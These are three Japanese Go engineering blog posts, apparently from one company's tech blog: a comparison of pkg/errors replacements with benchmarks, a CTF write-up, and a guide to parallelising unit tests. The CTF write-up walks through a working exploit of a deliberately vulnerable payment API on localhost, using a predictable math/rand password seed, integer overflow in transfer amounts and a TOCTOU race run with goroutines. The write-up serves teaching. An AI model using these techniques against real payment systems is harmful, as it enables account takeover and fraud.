次なる`pkg/errors`を探して

エンジニアの宮原です。 今回はGoでスタックトレースを取得するライブラリ選定についての記事です。
この記事は 【Gophers Talk】スポンサー4社による合同LT & カンファレンス感想戦で発表したものです。 発表スライドはこちらから確認できます。

この記事の目的

この記事ではpkg/errorsからの移行先を探すための参考情報を提供することを目的とします。 Goのエラーハンドリングのやり方等についてこの記事では触れないこととします。

pkg/errors とはなにか

pkg/errorsとは、githubのREADMEを引用すると

Package errors provides simple error handling primitives.

とあり、直訳すると、「エラーハンドリングの基礎を提供するパッケージ」となります。 pkg/errorsを利用することで、Go本体にはないスタックトレースを簡単に実現できます。 また、Go1.20でJoinが追加されるまでは、標準errorsのスーパーセットとなっていたという点も特徴でした。

pkg/errors からなぜ移行するのか

重複する記述になってしまいますが、Go1.20で標準errorsに更新が入り、pkg/errorsとの間に差分が発生しました。 この差分は解消する見込みがありません。プロジェクトとしてPublic Archiveとなってしまっているからです。

Public Archiveとなった経緯についてすこし補足します。
前回の標準errorsの更新(Go1.13)で修正の元となったGo2 Draft Designs というドキュメントがあります。このドキュメントではいずれGo本体からスタックトレースが提供されることが示されました。 つまり、将来的にpkg/errorsが不要になることがほぼ確定しました。そのタイミングでpkg/errorsはメンテナンスモードになり、さらにすすんで2021年12月にPublic Archiveに至った、という経緯のようです。

移行先に求めるもの

3 点あります。

「移行のしやすさ」は、標準errors、pkg/errorsとの互換性です。 ここでいう互換性とは、「関数、メソッドのシグニチャが一致しているか」、「機能をもれなくカバーしているか」といった点を想定しています。 Go本体への追従のしやすさを高めることと、今回の移行作業のコストを抑えることにつながります。

スタックトレースのサポート」は pkg/errorsがカバーしていた範囲を引き継ぐ必要があるためです。スタックトレースは、バグ解消に直結する情報を含むので重要です。

「性能が大きく劣化しないこと」は速い方がいい、メモリフットプリントは小さいほどよい、というシンプルな理由です。

移行の選択肢

最終的な候補となったのは以下2つのライブラリでした。

これらを深く見ていく前に、検討したものの詳しい調査の対象外としたライブラリについて触れておきます。

一度候補となったものの、細かい調査の対象外としたもの

xerrorsについて。Goチームが提供していたライブラリです。レポジトリのREADMEから確認できますが、このライブラリはGo1.13までの橋渡しとしての位置付けであり、すでに役割を終えたと言えるでしょう。すでに大部分がdeprecatedにもなっており、これから採用するべきではないと判断しています。

morikuni/failureについて。エラーコードベースのハンドリングを前提としており、pkg/errorsとは使われ方が異なるので、今回は移行のハードルが高いと判断しました。以下リンクが参考になります。 https://future-architect.github.io/articles/20200522/ https://speakerdeck.com/morikuni/designing-errors?slide=33

標準ライブラリを使った自前実装について。スタックトレースにたいして固有の要件というのはなく、改めて開発するメリットが薄いため、除外としています。

ということで、再掲ですが、最終的な候補ふたつcockroachdb/errorsgoark/errsを「 移行のしやすさ」、「スタックトレースのサポート」、「性能が大きく劣化しないこと」の点で評価していきます。

移行先の評価

前述した要件について箇条書きで記載します。

cockroachdb/errorsの評価

  • 移行のしやすさ
    • pkg/errorsのスーパーセットとなっており、基本的にはパッケージを切り替えるのみで、ほとんど置き換え作業が終わる点は魅力的です。
    • Go1.20で実装されたJoinが未実装のため、標準errorsとは差分があるものの、issueで対応中のようでした。
  • スタックトレースのサポート
    • サポートされています。
  • 性能が大きく劣化しないこと

goark/errsの評価

  • 移行のしやすさ
    • pkg/errorsとは、New、Wrapなど一部の関数は互換性あります。
    • Go1.20で実装されたJoinが未実装のため、標準errorsとは差分があります。
  • スタックトレースのサポート
    • サポートされています。
  • 性能が大きく劣化しないこと

ベンチマーク

性能評価のために、簡易なベンチマークを取りました。
benchmarkのテストコード、結果はこちらです。
「ネストしたerror生成時の速度とフットプリント」、「スタックトレース出力時の速度とフットプリント」の2つのケースについて、結果を抜粋して見ていきます。

※以下の結果は、マイクロベンチマークであり、実際の環境では異なる結果となる可能性があることに注意してください。

ネストしたerror生成時の速度とフットプリント

package ns/op B/op allocs/op
pkg/errors 8240 304 3
cockroachdb/errors 8640 416 7
goark/errs 7885 648 7

cockroachdb/errorsは、速度約5%pt、メモリ使用量約37%pt悪化、
goark/errsは、速度約4.5%pt改善、メモリ使用量は約2倍に悪化
という結果となりました。

スタックトレース出力時の速度とフットプリント

package ns/op B/op allocs/op
pkg/errors 12849 3716 33
cockroachdb/errors 14867 17222 22
goark/errs 1896 1401 33

cockroachdb/errorsは、速度が約15%pt、メモリ使用量が約4.6倍に悪化、
goark/errsは、速度が約6倍改善、メモリ使用量は63%pt改善
という結果となりました。

最後に結果をまとめた表を示します。

評価まとめ

package 標準errorsとの互換性 pkg/errorsとの互換性 スタックトレースのサポート 性能
errors(比較用) - - -
pkg/errors (比較用) ❌※1※2 - ⭕️ baseline
cockroachdb/errors 🔺※1 ⭕️ ⭕️ 🔺
goark/errs 🔺 ※1 🔺 ⭕️ ⭕️
  • ※1: いずれもGo1.13時点でのIs, As, Unwrap対応済み. Go1.20時点でのJoinは未実装
  • ※2: 今後もサポートされる見込みがないため、相対的に悪い評価をつけている

記事のまとめ

今回は最終的にcockroachdb/errorsがpkg/errorsの移行先の本命と評価しています。
移行のしやすさ(互換性)の面では、pkg/errorsのスーパーセットとなっており、置き換えが容易である点を評価しました。 性能については悪化するものの、自社でのAPIサーバーとしてのユースケースでは、ネットワーク往復の時間が支配的であることから劣化は問題ない範囲であると判断しました。

最後に、今回の評価が唯一の正解ではありません。それぞれの文脈、ユースケースを踏まえたうえで、ベストな選択肢を検討することが重要です。 上記はライブラリ選定の一例として参考していただけると幸いです。

Go Conference 2023 CTF: 標準ライブラリの利用ミスに関わる脆弱性

セキュリティエンジニアの宮口です。 Go Conference 2023にてCTFの問題を用意させていただきました。

問題はこちらになります。

github.com

本記事では出題の意図、想定解などを解説します。 解けた方も解けなかった方もぜひ読んでみてください!

1. 問題の解説

今回出題した問題は、バンドルカードのような決済系のアプリケーションを想像して作成しました。 ユーザーが出来る操作は限られていて、以下の操作のみ可能です。

  • パスワードリセット
  • 残高確認
  • 送金

この問題では、残高が9,999,999を超えたときに残高確認APIにアクセスすることでフラグが出力されるようになっています。 まず既存のアカウントにアクセスすることを目指してもらい、次に残高を増やすことを目指してもらうという2段構成になっています。

2. 出題の意図

2021年頃に標準ライブラリにおける既知の脆弱性を利用した問題を出題していました。

tech.kanmu.co.jp

ここから発展させて何かできないかを考えて、 「言語や標準ライブラリに脆弱性がなくとも、標準ライブラリの利用方法によっては脆弱性になりうる」 というメッセージを伝えられる問題になれば良いなと考えて問題を作成しました。

3. 想定解

ここからは想定解の解説を行います。 想定解は以下の通りです。

  1. math/randの脆弱なシードを使って既存のアカウントにアクセス
  2. Integer overflowを使ってお金の増殖
  3. TOCTOUでアカウントの上限金額をバイパス

これらについて、順番に解説します。

1. math/randの脆弱なシードを使ってアカウントにアクセス

このAPIにはアカウント登録機能がありません。 残高確認や送金を行うためには、既存のアカウントにアクセスする必要があります。

アカウント名はハードコーディングされているためすぐに分かりますが、パスワードはgeneratePassword関数で生成されているため、すぐには分かりません。

パスワードが更新されているのは、初回起動時とパスワードリセットAPIの2箇所のみです。

users[req.Id].Password = generatePassword(time.Now().Unix())

パスワードリセットAPIに注目してみると、精度が秒のUnixtimeが利用されており、推測可能です。

以下のようなコードでパスワードを取得できます。

password := generatePassword(time.Now().Unix())
passwordReset(&User{Id: "alice"})
passwordReset(&User{Id: "bob"})
fmt.Println(password)

これで alice / bob のアカウントにアクセスできるようになりました。

2. Integer overflowを使ってお金の増殖

alice / bob のアカウントにアクセスできるようになりましたが、aliceもbobもお金を持っていないようです。 何かしらの脆弱性を悪用してお金を増やさなければなりません。 3つある機能のうち、お金の増減があるのは送金機能のみなので、ここに注目します。

まずは適当に送金してみます。

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: FuPaccCEi9sr' -d '{"recipient_id": "bob", "amount": "1"}'
{"error": "Insufficient balance"}

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: Qam86lQgE6c2' -d '{"recipient_id": "bob", "amount": "-1"}'
{"error": "Amount validation failed: -1"}

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: FuPaccCEi9sr' -d '{"recipient_id": "bob", "amount": "9999999999999"}'
{"error": "Insufficient balance"}

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: VBjIzAlNLhXj' -d '{"recipient_id": "bob", "amount": "-9999999999999"}'
{"error": "Amount validation failed: -1316134911"}

いろんな数値を試しながら送ってみると、-9999999999999を送金しようとしたときに-1316134911という数値がエラーメッセージに出ていることに気づきます。

なにやら数値がオーバーフローしていそうなので、送金する数値をうまく調整することでお金を生み出せそうです。

from := &User{Id: "alice", Password: "VBjIzAlNLhXj"}
to := &User{Id: "bob", Password: "VBjIzAlNLhXj"}

transfer(from, to, strconv.Itoa(math.MinInt64+1000000))

「int64型の最上位bitのみ立っている数値 (math.MinInt64) + 送金したい金額」を送ることで、バリデーションをすり抜けてお金を増やすことができました。

3. TOCTOUでアカウントの上限をバイパス

このアプリケーションには、アカウントの上限金額が設定されているため、最後にこれをバイパスしなければなりません。

   if users[to].Balance+int32(amount) > 9999999 {

コードを読んで気づくしか無いのですが、実は送金APIにはロックがありません。 そのため並列に送金APIを呼び出すと、上記のバリデーションをすり抜けてしまいます。

goroutineを使って、並列に送金APIを呼び出してみます。(環境や設定によっては並列で動かない場合もあります。)

var wg sync.WaitGroup
for i := 0; i < 10; i++ {
    wg.Add(1)
    go func() {
        defer wg.Done()
        transfer(from, to, strconv.Itoa(math.MinInt64+1000000))
    }()
}
wg.Wait()

flag, _ = balance(to)
fmt.Println(flag)

これでフラグゲットです!お疲れさまでした!

4. 終わりに

CTFは楽しんでいただけたでしょうか!

カンムではエンジニアを募集中です!今回のイベントをきっかけにカンムに少しでも興味を持った方は、ぜひカジュアル面談でお話しましょう。

kanmu.co.jp

最後に、今回も素晴らしい Go Conference の場を提供してくれた運営のみなさま、参加者のみなさま、どうもありがとうございました!

無理なく始めるGoでのユニットテスト並行化

KanmuでPoolを開発しているhataです。最近、ロボット掃除機を買いました。ロボと猫がじゃれている景色はいいですね。 今回はGoのユニットテストの並行化についての記事です。

TL;DR

  • Goのテストは、並行化することでテスト実行時間の短縮やテスト対象の脆弱性の発見などのメリットがある

  • 基本的にはそのままでも最適化されているが、テストコードにt.parallelを記述することでよりきめ細やかな最適化を施すことができる

  • ただし、一定規模以上のアプリケーションへの導入・運用は大変

  • テストコードを一気に並行化するtparagenというツールや、並行化忘れを防ぐ静的解析ツールがあり、これらを使うことで無理なくテスト並行化の導入・運用ができる

はじめに

ユニットテスト並行化とは

本記事では、「並行」「並列」という用語を使用します。本記事におけるこれらの用語を定義します。

  • 並行:複数の処理を独立に実行できる構成のこと

  • 並列:複数の処理を同時に実行すること

参考1 1 参考22

本記事のタイトルにもある「ユニットテスト並行化」は、「個々のテストを独立に実行できる構成にすること」と言い換えることができます。

記事で紹介するGoの標準パッケージtestingにはt.Parallel-parallelというメソッド・機能があります。これらは用語の定義とは別として、本記事では固有名詞として扱います。

この記事の内容・目的

この記事の目的は、Go言語でのユニットテストの並行化を無理なく導入し、運用するための参考情報を提供することです。ゴールーチンやチャネルなど、並行・並列周りの詳細な深掘りは本記事では行いません。ご了承ください。この記事を最後まで読むことで、Go言語におけるユニットテストの並行化に関する理解が深まり、開発プロセスの効率化や品質向上につながることを期待しています。

読者は、Goである程度ユニットテストを書いてきた経験がある方を対象としています。

テスト並行化のメリット

テスト並行化は、開発プロセスにおいて重要な役割を果たします。その主なメリットは以下が考えられます。

  • テスト時間の短縮: テストを並行化することで、並列実行時に全体のテスト実行時間が大幅に短縮される可能性があります。例えば10分かかるテストが4つある場合、そのままでは40分かかりますが、並行化することで10分に短縮できるかもしれません。

  • システムリソースの効率的な利用: 最近のコンピュータは複数のコアを持つプロセッサを搭載しています。テストを並行化することで、これらのコアを同時に利用し、システムリソースを最大限に活用することが見込めます。これにより、テスト実行時のパフォーマンスが向上し、テスト実行時間がさらに短縮されます。

  • テストの信頼性向上: 並行化は、テストコードとテスト対象がマルチコア環境でうまく動作することを保証します。これは、特にデッドロックや競合状態といった並列実行時の問題を検出するのに有用です。カンムのアプリケーションは決済領域に関わるため、ユーザーのお金を保護する点でこの観点は特に重要と考えています

  • CI/CDパイプラインの最適化: 例として「テストの後にLintを走らせ、その後にデプロイ...」といった一連のワークフローが組まれている場合は、最初のテスト実行時間がボトルネックとなっています。テストを並行化することによって、テストの部分をさらにいくつかのタスク・ジョブに分割するなどの最適化が可能となり、開発者が新機能をより迅速にリリースできるようになります。

以上のように、テストの並行化は開発プロセスの効率化や品質向上に寄与し、開発チームの生産性をより高めることができます。

並行化に伴う課題

テストの並行化は多くのメリットがある一方で、導入や運用において様々な課題も存在します。以下に、自分が体験した主な課題をいくつか挙げます。

  • 一定規模以上のアプリケーションのテスト対応: 中〜大規模なアプリケーションでは、往々にして多くのテストケースが存在(テストケースが100個〜)し、それらをすべて並行化することは手間がかかる場合があります。また、テスト対象がグローバルな変数を参照していたり、テスト順序に依存している場合があり、テストケース間で共有されるリソースや依存関係の管理も複雑になりがちです。これらの問題を解決するためには、並行化する前にテスト対象のコードのリファクタリングや、テストコード設計の見直しが必要となります。

  • 並行化による新たなバグの発生: テストを並行化すると、新たにマルチコア環境に関連した問題が発生する可能性があります。デッドロックや競合状態は並列実行特有の問題であり、それらを解決するためにはテストコードの設計や実装を再考する必要があります。具体的には、テストケースを隔離する・共有リソースへのアクセスを同期するなどの見直しが必要です。

  • データベース接続テストの並行化: データベース接続テストを並行に実行する場合、テストケース間でのデータ競合を避けるために、各テストケースが独立したデータベース接続を持つことが重要です。このような独立性を確保するためには、テストデータの準備やクリーンアップの方法を見直す・データベーストランザクションの扱いを改善するなどの工夫が必要となります。

これらの課題に対処するためには、適切なツールの採用・テスト設計方針を策定することが必要です。

testingパッケージの概要

ここでは、Go言語でのユニットテスト並行化に必要な標準パッケージtestingの概要を説明します。

Goの標準パッケージ

Go言語はそのデザインの中心にテストを位置づけています。これを反映して、Goの標準ライブラリにはtestingというパッケージが含まれています。これはユニットテストベンチマークテストなど、Go言語でテストを書くための基本的なツールセットを提供しています。

https://pkg.go.dev/testing

並行実行のサポート

testingパッケージにはテストの並列実行をサポートする機能を提供しています。ここでは、テストを実行するgo testコマンドで指定できる、以下の2つのオプションについて説明します。

  • パッケージごとのテストの並行実行をサポートする-pオプション

  • パッケージのテストを並行実行をサポートする-parallelオプション

これらは全く異なるオプションです。よく誤解されますが、-pオプションは-parallelオプションの短縮系ではありません。

-pオプション

go help buildで出力される-pオプションの説明は以下になります。

 -p n
        the number of programs, such as build commands or
        test binaries, that can be run in parallel.
        The default is GOMAXPROCS, normally the number of CPUs available.

整理すると、以下のようになります。

  • ビルドコマンドやテストバイナリなど、並列実行できるプログラムの数を指定するオプション。

  • デフォルトは論理CPUの数。

デフォルトでは論理CPUの数(=GOMAXPRCSのデフォルト値)に設定されているため、マルチコアのマシン上で動作させれば、パッケージ単位でテストが並列に実行されます。例えばルート配下にhogeパッケージとfugaパッケージの2つが存在する場合、

go test ./...

と実行すると、hogeパッケージとfugaパッケージのテストは別々のプロセスで実行されます。

-parallelオプション

go help testflagで出力される-parallelの説明です。

-parallel n
    Allow parallel execution of test functions that call t.Parallel, and
        fuzz targets that call t.Parallel when running the seed corpus.
        The value of this flag is the maximum number of tests to run
        simultaneously.
        While fuzzing, the value of this flag is the maximum number of
        subprocesses that may call the fuzz function simultaneously, regardless of
        whether T.Parallel is called.
        By default, -parallel is set to the value of GOMAXPROCS.
        Setting -parallel to values higher than GOMAXPROCS may cause degraded
        performance due to CPU contention, especially when fuzzing.
        Note that -parallel only applies within a single test binary.
        The 'go test' command may run tests for different packages
        in parallel as well, according to the setting of the -p flag
        (see 'go help build').

整理すると、以下のようになります。 - t.Parallelを呼び出すテスト関数を同時に実行する数の最大値を指定するオプション。

  • デフォルトは論理CPUの数。

  • 1つのテストバイナリ内でのみ適用される。

このオプションの対象となるのは、t.Parallelを呼び出しているテストケースのみです。つまり、-pオプションとは違い、こちらは開発者が対応しなければなりません。

使用方法

ここでは、先述したgo testコマンドの2つのオプション-p-parallelについて説明します。

-pオプション

-pオプションは、テストコードに手を加える必要はありません。また、デフォルトでマシンの論理CPUの数に設定されているため、基本的に指定しなくても良いです。

意図的に制限する場合は、以下のようになります。

go test -p=1 ./...

-parallelオプション

-parallelオプションはpオプションと同じく、デフォルトでマシンの論理CPUの数に設定されています。 こちらは、対象のテスト関数にt.Parallelを記述する必要があります。

例1:サブテストなし

func TestXXX(t *testing.T) {
  t.Parallel()
  ...
}

テストケースがサブテスト化されている場合は、メインテスト・サブテスト双方にt.Parallelを埋め込みます。

例2:サブテストあり

func TestXXX(t *testing.T) {
  t.Parallel()

  t.Run("case1", func(t *testing.T) {
    t.Parallel()
    ...
  })
  t.Run("case2", func(t *testing.T) {
    t.Parallel()
    ...
  })
}

goのテストはデフォルトである程度最適化されている

-pオプションはデフォルトでマシンの論理CPU数に設定されているため、パッケージ単位での並行化は何もしなくても最適化されています。パッケージは通常、独立した機能を提供する単位として設計されるため、テストの文脈でもこのような設計になっているのでしょう。このような設計は、JavaScriptのテストフレームワークであるJestでも見られます。

一方、-parallelの方は明示的に開発者がテストコード内にt.Parallelを仕込まないと最適化されません。テストケースの性質と要件を考慮して適切な並列化戦略を選択することが重要ですが、私はできるだけきめ細やかに並行化することを推奨しています。テスト時間短縮のメリットだけでなく、テストコードとテスト対象がマルチコア環境でうまく動作することを保証してくれるためです。

テスト並行化に伴う課題

テスト並行化には多くのメリットがある一方、その導入と運用にはいくつか課題があります。並行・並列が関わる性質上、特殊なものが多いため、これらの課題は一般的なテストプロセスとは異なり、注意深く対処する必要があります。

アプリケーションの規模によるもの

先に述べた通り、パッケージ内の個別のテストケースを並行化するには、t.Parallelをテスト関数で呼び出す必要があります。個人開発のちょっとしたパッケージであればあまり問題となりませんが、商用アプリケーションのコードに導入する場合は一筋縄ではありません。単純に人力での対応が大変、という工数面での問題もありますが、特定の場合における並行化によるバグへの対処が必要になる場合もあります。

並行化によるバグへの対処

環境変数に起因するもの

テスト対象の中には、環境変数を参照するものもあるでしょう。環境変数はグローバルスコープの変数と相違ないため、テストコード内でos.Setenv環境変数を設定した場合、意図せず他のテストケースに影響を及ぼしてしまう可能性があります。 そこで、testingパッケージはt.Setenvメソッドを提供しています。

https://github.com/golang/go/blob/891547e2d4bc2a23973e2c9f972ce69b2b48478e/src/testing/testing.go#L1120

このメソッドでセットされた環境変数は、テストケースが終了した際に破棄されます。テストで環境変数を扱う際はos.Setenvではなくこのメソッドを使用するのがベターです。 ですが、t.Setenvを呼び出していた場合同じテスト関数内でt.Parallelメソッドは呼び出すことができません。並列実行時の想定外の挙動を防ぐため、意図的にpanicを起こすようになっています

例1:

func TestXXX(t *testing.T) {
  t.Parallel()
  t.Setenv("test", "test") // panic("testing: t.Setenv called after t.Parallel; cannot set environment variables in parallel tests")
  ...
}

このt.Setenvt.Parallelの組み合わせは、メインテストならメインテストごと、サブテストならサブテストごとに評価されます。以下の例ではpanicは発生しません。

例2

func TestXXX(t *testing.T) {
  t.Setenv("test", "test")

  t.Run("case1", func(t *testing.T) {
    t.Parallel()
    ...
  })
}

よってテスト対象が環境変数に依存するようなコードになっていた場合、並行化前に以下のことに注意する必要があります。

  • os.Setenvを使用していないか

  • 同じテストレベルでt.Setenvt.Parallelを同時に使用していないか

テーブル駆動テストでのクロージャに起因するもの

Go言語では、テストケースの入力値と期待値を分かりやすくする方法として、Table Driven Test(テーブル駆動テスト3)が推奨されています。このテーブル駆動テストと並行化を組み合わせた際のよくあるバグとして、俗に言うtt := tt忘れがあります。

以下の挙動を引き起こす問題です。

  • テーブル駆動テストにおいて、サブテスト関数内でループ変数を再定義せずにt.Parallelを呼び出すだけだと、ループ最後のテストケースしかテストされない

具体的な例を示します。以下の例では、name: "test 3"のテストケースしか実際には実行されません。

例1

func TestXXX(t *testing.T) {
  tests := []struct {
        name string
          arg string
        want bool
    }{
    {name: "test 1", arg: "arg1", want: true},
    {name: "test 2", arg: "arg2", want: false},
    {name: "test 3", arg: "arg3", want: true},
   }

   for _, tt := range tests {
        t.Run(tt.name, func(t *testing.T) {
            t.Parallel()
            if got := XXX(tt.arg); got != tt.want {
                ...
            }
        })
    }
}

この挙動を解決するには、以下のように、ループ変数を再定義します。

for _, tt := range tests {
+       tt := tt
        t.Run(tt.name, func(t *testing.T) {
            t.Parallel()
            if got := XXX(tt.arg); got != tt.want {
                ...
            }
        })
    }

このバグは非常に見つけにくいです。テストケースが全てパスする場合、テスト結果の詳細をチェックしていなければ、最後のケースしかテストされていないことに気づけません。go1.20からはgo vetこの間違いを未然にチェックする機能が組み込まれました。テーブル駆動テストを並行化する際にはgo vetによる静的解析を有効化しておきましょう。

この問題についての詳細は、別途記事にまとめています。こちらも合わせて参考にしてください。

他の方が書かれたこちらの記事もとても参考となります。

導入・運用は難しい

Goで書かれた比較的中〜大規模アプリケーションのテストを並行化させるには、環境変数やテーブル駆動テストの落とし穴に注意しながら、各テストケースに、t.Parallelを埋め込んでいく作業が必要となります。 しかし、それは人力でやるには非常に手間がかかるばかりか、間違いや見落としが発生しやすい作業です。特に大規模なコードベースでは、既存のテストケースが数百まで及ぶ場合があり、すべてにt.Parallelを追加するのは現実的ではありません。 加えて、新たにテストを追加する際にも同じ問題が発生します。新しいテストを書く際に、開発者がt.Parallelを忘れてしまったり、他のテストケースに影響を及ぼす可能性がああった場合、それを見つけ出すのは困難です。

データベース接続テストの並行化

データベースに接続するテストの並行化は、特に注意が必要です。テストケース間でデータベースの状態が共有されるため、一つのテストケースがデータベースの状態を変更すると、それが他のテストケースに影響を及ぼす可能性があります。例えば、同じレコードに対する更新操作を複数のテストケースで行うと、実行結果が他のテストケースの動作に依存することになります。

独立したテスト環境の構築

これらの問題を解決する一つのアプローチは、各テストケースに対して独立したデータベース環境を提供することです。例えば、各テストケースで使用するデータベーススキーマを独立させるか、または各テストケースが使用するデータセットを分離するなどです。こうすることで、一つのテストケースがデータベースの状態を変更しても、他に影響を及ぼすことがなくなります。

しかし、このアプローチには注意が必要です。テスト実行前後でデータベーススキーマをセットアップ・クリーンアップする必要があります。うまく工夫しないと、このプロセスは多くの時間とリソースを消費するため、大規模なコードベースでは注意深く管理する必要があります。また、このプロセスは自動化されるべきであり、それを実現するためには適切なツールと運用が必要です。

無理なく導入するためのツールと事例紹介

さて、ここまでGoにおけるテスト並行化の導入・運用のメリットや課題について紹介しました。 ここからは、先ほど説明したテスト並行化に伴う諸課題について、私の経験をもとに解決策の一例を紹介します。

Goのテストコードを一気に並行動作できるようにするツール「tparagen」

https://github.com/sho-hata/tparagen

この「tparagen」は、Goのテストコードを静的に解析し、可能な限りt.Parallel()を適切な場所に自動挿入するGo製のツールです。数百個のテスト関数が対象であっても一瞬で並行化できるため、人力でチマチマt.Parallelを埋め込む必要がありません。そのため、ある程度規模のあるコードベースにも、無理なくテストを並行化することができます。

また、先に述べた問題を考慮した上でこのツールが作成されているため、安全にテストコードを並行化できます。 例えば、t.Setenvt.Parallelが同時に呼び出されるとpanicする問題の対応策として、t.Setenvを呼び出しているテストは並行化がスキップされます。さらに、メインテストはメインテスト、サブテストはサブテスト同士でチェックするため、t.Parallelの入れ忘れを防ぎ、逆に並行化してはいけないテストにt.Parallelを入れてしまうといったこともありません。

また、tt := tt忘れによるバグも事前に防ぐ仕組みが用意されています。 以下のようなtt := tt忘れによるバグを引き起こすテスト関数があった場合、サブテストにはループ変数の再定義を行いつつt.Parallel`を埋め込みます。これにより、潜在的なバグを埋め込むことなくテストを並行化することができます。

例1: tparagen実行前(並行化前)

func TestXXX(t *testing.T) {
  tests := []struct {
       ...
    }{
    {name: "test 1", arg: "arg1", want: true},
    {name: "test 2", arg: "arg2", want: false},
   }

   for _, tt := range tests {
        t.Run(tt.name, func(t *testing.T) {
            if got := XXX(tt.arg); got != tt.want {
                ...
            }
        })
    }
}

例2: tparagen実行後(並行化後)

func TestXXX(t *testing.T) {
+ t.Parallel() // 並行化
  tests := []struct {
       ...
    }{
    {name: "test 1", arg: "arg1", want: true},
    {name: "test 2", arg: "arg2", want: false},
   }

   for _, tt := range tests {
+       tt := tt // ループ変数の再定義
        t.Run(tt.name, func(t *testing.T) {
+       t.Parallel() // 並行化
            if got := XXX(tt.arg); got != tt.want {
                ...
            }
        })
    }
}

このほかにも、いくつか機能が搭載されています。詳細はtparagenのリポジトリをご参照ください。

https://github.com/sho-hata/tparagen

また、バグ発見等のissue報告・Pull Request大歓迎です。

t.Parallelし忘れを防止する静的解析ツール

https://github.com/kunwardeep/paralleltest

https://github.com/moricho/tparallel

これらのツールは、t.Parallelを使用していないテスト関数を報告してくれます。CIやGit Hookに組み込めば、コードレビューで人間がいちいちチェックしなくても機械的に検出してくれるため、無理なくテスト並行化を運用に乗せることができます。また、場合によっては並行化したくないテストもあります。その場合はnolintディレクティブを挿入することによりチェックをスキップすることができます。

例1

func TestXXX(t *testing.T) { // ERROR "Function TestXXX missing the call to method parallel"
  ...
} 

例2:nolintでスキップする例

// nolint:tparallel,paralleltest
func TestXXX(t *testing.T) {}

ちなみに、tparagenはこのnolintがあるテスト関数は並行化をスキップします。

データベース接続テストの並行化:事例紹介

並行化コードの自動挿入ツールと静的解析ツールで、テスト並行化の導入・運用の課題はクリアできました。もう一つ、データベース接続テスト並行化の課題があります。

ここからは私の所属する株式会社カンムのpool開発チームでの、テスト並行化に向けた取り組みを紹介します。データベースと接続するテストを並行化する際の参考になれば幸いです。

先に述べた通り、データベースと接続するテストを並行化するには、テストケースごとに独立した環境の構築がポイントとなります。弊チームでは、テスト時のSQLドライバとしてDATA-DOG/go-txdbPostgreSQL用に拡張したachiku/pgtxdbというツールを使っています。

https://github.com/achiku/pgtxdb

このpgtxdb(go-txdb)はdatabase/sql.DBと互換性があるデータベースとのコネクションを作ることができるライブラリで、以下の特徴を持っています。

  • データベースとのコネクションが確立するとトランザクションが開始する。閉じるとロールバックする。

  • 各コネクションで行われる全てのデータベース操作はお互いに影響せず、トランザクション内で完結する。

  • もしテスト対象がトランザクションイベントを利用していた場合は、モック化する

    • BEGIN -> SAVEPOINT
    • COMMIT -> なにもしない
    • ROLLBACK -> ROLLBACK TO SAVEPOINT

この特徴を活かし、各テスト開始時に必要なデータの準備を行い、テスト終了時にレコードの変更がロールバックするような環境になっています。トランザクションは互いに独立しているため、並列実行時にも問題はありません

pgtxdbを取り入れた後のテスト全体のライフサイクル(パッケージ単位)は以下の図のようになります。

テスト全体の前後処理

テスト全体の前後処理は、func TestMain(m *testing.M)を使って実現しています。TestMainの仕様についてはtesting#Mainを参考にしてください。

大きく分けて以下のようなことをしています。 前処理

  • スキーマの作成
  • テーブルの作成
  • pgtxdbドライバの登録

後処理

以下は擬似コードですが、大まかはこの例のようなイメージです。m.Runの前に実行しているのが前処理、deferで実行するのが後処理です。

func TestMain(m *testing.M) {
  if err := createSchema(); err != nil {
     os.Exit(1)
  }
  if err := createTable(); err != nil {
     os.Exit(1)
  }
  defer dropSchema(config, schema)
  m.Run()
}

テストケースごとの前後処理

ここでやっていることは大きく分けて以下のような処理です。

前処理

後処理

テストケースごとの前後処理は、TestSetupという関数が担っています。この関数を各テストケースで呼び出すことにより、前後処理を仕込んでいます。

以下は擬似コードですが、大まかはこの例のようなイメージです。

func TestSetupTx(t *testing.T) *sql.Tx {
    db, err := sql.Open("txdb", uuid.New().String())
    if err != nil {
        t.Fatal(err)
    }
    tx, err := db.Begin()
    if err != nil {
        t.Fatal(err)
    }

    t.Cleanup(func() {
        if err := tx.Rollback(); err != nil {
        }
        if err := db.Close(); err != nil {
            t.Fatal(err)
        }
    })
    return tx
}

ここら辺は、sql.DBを満たすインターフェース設計やpgtxdbによるトランザクションイベントのモック化などトランザクション分離を支える多くのトピックがあります。全てを紹介するとそれだけで別記事が書けるため、ここでは簡易な説明にとどめるのみとします。詳しくは弊社COO、achikuのGoCon JP 2018の登壇資料4を参考にしてください。

テスト処理

テスト本体の処理です。 

  • シードデータの挿入(必要に応じて)
  • テスト本体処理

SQLを発行するテスト対象の関数は、必ずdatabase/sql.DBが行うDB操作を抽象化したインターフェースを引数として受け取るシグネチャになっています。ここにテストケース前処理で行ったpgtxdbのコネクションを流し込むことによって、並列実行時でも問題のないトランザクション分離環境でSQLが発行されます。

func TestGetXXX(t *testing.T) {
    t.Run("found", func(t *testing.T) {
            // 前後処理
        tx := TestSetupTx(t)
        // シードデータ作成
        d := TestCreateXXXData(t, tx)
     
        // テスト本体処理
        res, err := GetXXX(tx, d.ID)
        assert.NoError(t, err)
        assert.Equal(t, u.ID, res.ID)
    })
}

まとめ

というわけで、Goのユニットテスト並行化についての導入・運用アプローチについて詳しく見てきましたが、いかがでしたでしょうか。 ユニットテストを並行化することで、

  • テスト実行時間が早くなることによるリリースサイクルの高速化

  • 並列実行時の動作を担保することによるアプリケーションの頑健化

が期待できます。

テストコードは増えれば増えるほどテストの実行時間も増加し、開発時間が大幅に割かれる可能性があります。テスト並行化の結果がたとえ1分1秒の短縮でも、将来的には大幅な効率改善につながるでしょう。

また、ソフトウェアの頑健性向上にもテスト並行化は重要な役割を果たします。並列実行時に特有のバグは往々にして解決が難しく、本番環境にリリースしてからの発見や調査はさらに難しくなります。テスト対象のコードがマルチスレッド下の環境でバグを発生させる可能性がある場合、テストの並行化によって早期にその問題を把握できます。

ただし、テスト並行化にも課題や落とし穴が存在します。重要なのはリリースサイクルの高速化やアプリケーションの頑健化が目的であり、テスト並行化はそのための手段であるということです。自分も陥りましたが、テスト並行化を導入・運用するために人力での並行化コードの埋め込みやチェックで貴重な人的リソースを浪費するのは本末転倒です。

